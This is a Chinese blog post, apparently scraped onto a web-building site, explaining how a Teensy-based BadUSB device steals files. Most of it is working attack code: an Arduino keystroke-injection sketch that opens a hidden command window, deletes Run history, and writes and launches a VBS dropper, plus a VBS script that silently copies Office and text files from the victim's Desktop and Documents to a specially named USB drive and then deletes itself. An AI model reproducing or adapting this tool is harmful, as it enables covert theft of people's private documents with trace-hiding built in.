badusb之烧鹅如何偷文件

网站建设评论56

最近买了个烧鹅,感觉就是个Teensy2++和一个sd读卡器,但是从Teensy官网买。ship过来都不知道什么时候了,还要转运麻烦。

这东西可以做什么呢,我目前的功能是在插上电脑的时候自动把电脑中我的文档中的文件和桌面上的文件复制到u盘,偷文件用,其实可以自定义更多。

先说下缺点:
1.这属于HID攻击,也就是模拟一个键盘,那么缺点就是有3秒左右的时间你不能操作电脑否则运行失败。
2.当要复制的文件很多或者这两个文件夹目录树太大的时候,速度比较慢,毕竟不能usb3.0
3.你的sd卡名字要叫一个特殊的名字,要不代码找不到你的u盘盘符

优点嘛,就是不管有没有开自动运行都能运行,因为这东西完全不靠自动运行

上代码,下面是我写在烧鹅里面的arduino代码

void setup() {                                                  delay(8000);                                            Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);   Keyboard.set_key1(KEY_R);                                     Keyboard.send_now();                                             delay(100);                                                     Keyboard.println(\"cmd /T:32 /K /\"mode con: cols=14 lines=1&mode con: cp select=437&mode con:delay=0/\"\");                                                                      delay(200);   Keyboard.println(\"reg delete HKCU//Software//Microsoft//Windows//CurrentVersion//Explorer//RunMRU /f>nul\");   delay(50);   Keyboard.println(\"echo Set F=CreateObject(/\"Scripting.FileSystemObject/\")>%tmp%//i.vbs\");      Keyboard.println(\"echo o=F.getspecialfolder(2)^&/\"///\">>%tmp%//i.vbs\");      Keyboard.println(\"echo For Each A in F.Drives>>%tmp%//i.vbs\");      Keyboard.println(\"echo If A.DriveType=1 Then>>%tmp%//i.vbs\");      Keyboard.println(\"echo if strcomp(A.volumename,/\"FUNNYDISK/\")=0 then>>%tmp%//i.vbs\");      Keyboard.println(\"echo F.getfile(A.driveletter^&/\":////r//run.vbs/\").copy(o)>>%tmp%//i.vbs\");      Keyboard.println(\"echo createobject(/\"wscript.shell/\").exec /\"wscript /\"^&o^&/\"run.vbs/\">>%tmp%//i.vbs\");      Keyboard.println(\"echo exit for>>%tmp%//i.vbs\");      Keyboard.println(\"echo end if>>%tmp%//i.vbs\");      Keyboard.println(\"echo end if>>%tmp%//i.vbs\");      Keyboard.println(\"echo next>>%tmp%//i.vbs\");      Keyboard.println(\"echo F.DeleteFile(WScript.ScriptFullName)>>%tmp%//i.vbs\");      Keyboard.println(\"start wscript %tmp%//i.vbs&exit\");   Keyboard.set_modifier(0);                                      Keyboard.set_key1(0);   Keyboard.send_now();                     delay(300);    }void loop(){}

badusb之烧鹅如何偷文件

这么选择就可以了
第一个延时8秒用于等待系统安装硬件
上面这段代码除了延时8秒以外执行时间大概在3秒左右,这就是不能操作电脑的时候,并且会有一个小cmd窗口。
这段代码会复制funnydisk名字的u盘中r目录里面的run.vbs到%tmp%
u盘目录类似下图

badusb之烧鹅如何偷文件

下面是我的run.vbs代码,也可以自定义成别的功能

on error resume nextset f=createobject(\"scripting.filesystemobject\")set ws=createobject(\"wscript.shell\")dsk=ws.specialfolders(\"desktop\")myf=ws.specialfolders(\"mydocuments\")sub cf(p)if not f.folderexists(f.getparentfoldername(p)) then  cf f.getparentfoldername(p)end iff.createfolder(p)end subsub docopy(p,tard)set of=f.getfolder(p)set ofs=of.subfoldersset files=of.filesif not (isempty(files) and isnull(files)) then  for each fi in files    if right(fi.path,3)=\"xls\" or right(fi.path,3)=\"doc\" or right(fi.path,4)=\"docx\" or right(fi.path,4)=\"xlsx\" or right(fi.path,3)=\"txt\" or right(fi.path,3)=\"ppt\" or right(fi.path,4)=\"pptx\" then      if fi.size<10485760 then      tpath=fd&\"/\"&ws.environment(\"process\").item(\"computername\")&\"/\"&replace(fi.path,\":\",\"\")      if f.folderexists(f.getparentfoldername(tpath))=0 then        cf f.getparentfoldername(tpath)      end if      f.copyfile fi.path,tpath      if err.number<>0 and err.number<>70 then          f.DeleteFile(WScript.ScriptFullName)       end if      end if    end if  nextend iffor each osf in ofs  docopy osf.path,tard  if err.number<>0 then       f.DeleteFile(WScript.ScriptFullName)  end ifnextset of=nothingset ofs=nothingset files=nothingset fi=nothingset osf=nothingend subdo while 1 for each d in f.drives   if d.drivetype=1 then    if strcomp(d.volumename,\"FUNNYDISK\")=0 then      fd=d.driveletter&\":\"      exit for     end if   end ifnextif fd<>\"\" then exit dowscript.sleep(50)loopdocopy myf,fddocopy dsk,fdf.DeleteFile(WScript.ScriptFullName)

这段代码用于循环目录树和复制文件到指定u盘上。
目录树太大遍历时间会增加。。。这是个硬伤
如果时间紧迫可以直接拔下u盘,它自己会删除自己

发现这个烧鹅还是很好玩的,代码写的不好,不要打脸。。。大神请忽略。。

下面就是烧鹅

badusb之烧鹅如何偷文件

[via@skyer]

该文章由WP-AutoPost插件自动采集发布

原文地址:http://bluereader.org/article/44976106

 
如何快速建立和运营百万精准QQ群 网站建设

如何快速建立和运营百万精准QQ群

今天,我们要讲的主题是《如何快速建立和运营百万精准QQ群,自建庞大的流量池》。也就是图里的第二大流量体,但是不是讲QQ群排名技术,也不是QQ附近人脚本引流,而是QQ群。
小型企业站点如何做好链接建设 网站建设

小型企业站点如何做好链接建设

注意一点是,这种比较烧钱的一般都是要等到他们有一些大型的活动才去做赞助商,不然钱花了出去什么都没得到。这个需要去和他们组织的人交流详细情况。赞助商文章 (Sponsor Post)通过付费购买文章,文...
如何建设一个个人网站 网站建设

如何建设一个个人网站

个人网站建设方案如何搭建呢?网站的结构一般由以下三部分组成:域名、虚拟主机、网站程序。   个人网站建设方案第一步就是要先注册域名,当我们想要建网站前,想必你已经想好这个网站是用来干嘛的,也就是建站目...
匿名

发表评论

匿名网友
:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: